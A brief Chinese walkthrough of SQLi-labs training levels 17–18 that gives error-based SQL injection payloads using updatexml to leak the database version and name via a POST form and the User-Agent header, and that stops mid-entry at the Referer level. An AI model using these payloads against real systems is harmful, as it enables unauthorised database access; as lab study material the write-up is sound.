sqlilab 17-22簡略版

1.POST update注入（17關） 爆出數據庫的版本，1' or updatexml (1,concat(0x7e,version(),0x7e),1) # 2.Header報錯 （18關） 在UA末尾添加'報錯，存在注入點 注入語句：1',1,updatexml(1,concat(0x7e,database(),0x7e),1)) # 爆出數據庫爲security   3.Referer（

>>阅读原文<<